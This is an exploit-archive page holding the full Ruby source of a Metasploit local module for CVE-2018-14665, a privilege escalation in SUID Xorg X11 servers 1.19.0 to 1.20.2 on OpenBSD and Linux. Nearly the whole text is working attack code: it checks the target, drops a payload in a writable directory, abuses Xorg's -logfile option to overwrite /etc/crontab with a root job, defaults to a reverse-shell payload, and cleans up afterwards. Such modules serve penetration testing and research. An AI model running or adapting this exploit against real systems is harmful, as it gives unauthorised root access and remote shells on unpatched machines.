Xorg X11 Server SUID Privilege Escalation

2018.11.26
Risk: High
Local: Yes
Remote: No
CVE: N/A
CWE: CWE-264

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = GoodRanking include Msf::Exploit::EXE include Msf::Exploit::FileDropper include Msf::Post::File include Msf::Post::Linux::Priv include Msf::Post::Linux::Kernel def initialize(info = {}) super(update_info(info, 'Name' => 'Xorg X11 Server SUID privilege escalation', 'Description' => %q{ This module attempts to gain root privileges with SUID Xorg X11 server versions 1.19.0 < 1.20.3. A permission check flaw exists for -modulepath and -logfile options when starting Xorg. This allows unprivileged users that can start the server the ability to elevate privileges and run arbitrary code under root privileges. This module has been tested with OpenBSD 6.3, 6.4, and CentOS 7 (1708). CentOS default install will require console auth for the users session. Cron launches the payload so if Selinux is enforcing exploitation may still be possible, but the module will bail. Xorg must have SUID permissions and may not start if running. On exploitation a crontab.old backup file will be created by Xorg. This module will remove the .old file and restore crontab after successful exploitation. Failed exploitation may result in a corrupted crontab. On successful exploitation artifacts will be created consistant with starting Xorg and running a cron. }, 'License' => MSF_LICENSE, 'Author' => [ 'Narendra Shinde', # Discovery and exploit 'Raptor - 0xdea', # Modified exploit for cron 'Aaron Ringo', # Metasploit module 'Brendan Coles <bcoles[at]gmail.com>' # Metasploit module ], 'DisclosureDate' => 'Oct 25 2018', 'References' => [ [ 'CVE', '2018-14665' ], [ 'BID', '105741' ], [ 'EDB', '45697' ], [ 'EDB', '45742' ], [ 'EDB', '45832' ], [ 'URL', 'https://www.securepatterns.com/2018/10/cve-2018-14665-xorg-x-server.html' ], [ 'URL', 'https://github.com/0xdea/exploits/blob/master/openbsd/raptor_xorgasm' ] ], 'Platform' => %w[openbsd linux], 'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64], 'SessionTypes' => %w[shell meterpreter], 'Targets' => [ ['OpenBSD', { 'Platform' => 'unix', 'Arch' => [ ARCH_CMD ] } ], ['Linux x64', { 'Platform' => 'linux', 'Arch' => [ ARCH_X64 ] } ], ['Linux x86', { 'Platform' => 'linux', 'Arch' => [ ARCH_X86 ] } ] ], 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_openssl', 'WfsDelay' => 120 }, 'DefaultTarget' => 0)) register_advanced_options( [ OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]), OptString.new('Xdisplay', [ true, 'Display exploit will attempt to use', ':1' ]), OptBool.new('ConsoleLock', [ true, 'Will check for console lock under linux', true ]) ] ) end def check # linux checks uname = cmd_exec "uname" if uname =~ /linux/i vprint_status "Running additional check for Linux" if datastore['ConsoleLock'] user = cmd_exec "id -un" unless exist? "/var/run/console/#{user}" vprint_error "No console lock for #{user}" return CheckCode::Safe end vprint_good "Console lock for #{user}" end if selinux_installed? if selinux_enforcing? vprint_error 'Selinux is enforcing' return CheckCode::Safe end end vprint_good "Selinux is not an issue" end # suid program check xorg_path = cmd_exec "command -v Xorg" unless xorg_path.include?("Xorg") vprint_error "Could not find Xorg executable" return CheckCode::Safe end vprint_good "Xorg path found at #{xorg_path}" unless setuid? xorg_path vprint_error "Xorg binary #{xorg_path} is not SUID" return CheckCode::Safe end vprint_good "Xorg binary #{xorg_path} is SUID" # version check x_version = cmd_exec "Xorg -version" if x_version.include?("Release Date") v = Gem::Version.new(x_version.scan(/\d\.\d+\.\d+/).first) unless v.between?(Gem::Version.new('1.19.0'), Gem::Version.new('1.20.2')) vprint_error "Xorg version #{v} not supported" return CheckCode::Safe end elsif x_version.include?("Fatal server error") vprint_error "User probably does not have console auth" vprint_error "Below is Xorg -version output" vprint_error x_version return CheckCode::Safe else vprint_warning "Could not parse Xorg -version output" return CheckCode::Appears end vprint_good "Xorg version #{v} is vulnerable" # process check for /X proc_list = cmd_exec "ps ax" if proc_list.include?('/X ') vprint_warning('Xorg in process list') return CheckCode::Appears end vprint_good('Xorg does not appear running') return CheckCode::Vulnerable end def on_new_session(session) if session.type.to_s.eql? 'meterpreter' session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi' session.sys.process.execute '/bin/sh', "-c \"#{@clean_up}\"" else session.shell_command(@clean_up) end print_good "Returning session after cleaning" ensure super end def exploit check_status = check if check_status == CheckCode::Appears print_warning 'Could not get version or Xorg process possibly running, may fail' elsif check_status == CheckCode::Safe fail_with Failure::NotVulnerable, 'Target not vulnerable' end if is_root? fail_with Failure::BadConfig, 'This session already has root privileges' end unless writable? datastore['WritableDir'] fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable" end print_good 'Passed all initial checks for exploit' pscript = "#{datastore['WritableDir']}/.session-#{rand_text_alphanumeric 5..10}" @clean_up = "/bin/cat #{pscript}.b > /etc/crontab ; /bin/rm -f #{pscript}.b /etc/crontab.old" xdisplay = datastore['Xdisplay'] # Uploading file crontab will run print_status 'Uploading your payload, this could take a while' if payload.arch.first == 'cmd' write_file(pscript, payload.encoded) else write_file(pscript, generate_payload_exe) end register_file_for_cleanup pscript chmod pscript # Exploit steps on crontab so backing it up cmd_exec "cat /etc/crontab > #{pscript}.b" # Actual exploit with cron overwrite print_status 'Trying /etc/crontab overwrite' cmd_exec "cd /etc ; Xorg -fp '* * * * * root #{pscript}' -logfile crontab #{xdisplay} & >/dev/null" Rex.sleep 5 cmd_exec "pkill Xorg" Rex.sleep 1 cron_check = cmd_exec "grep -F #{pscript} /etc/crontab" unless cron_check.include? pscript rm_f "#{pscript}.b" print_error 'Deleting crontab backup' fail_with Failure::NotVulnerable, '/etc/crontab not modified' end print_good '/etc/crontab overwrite successful. Waiting for job to run (may take a minute)...' end end


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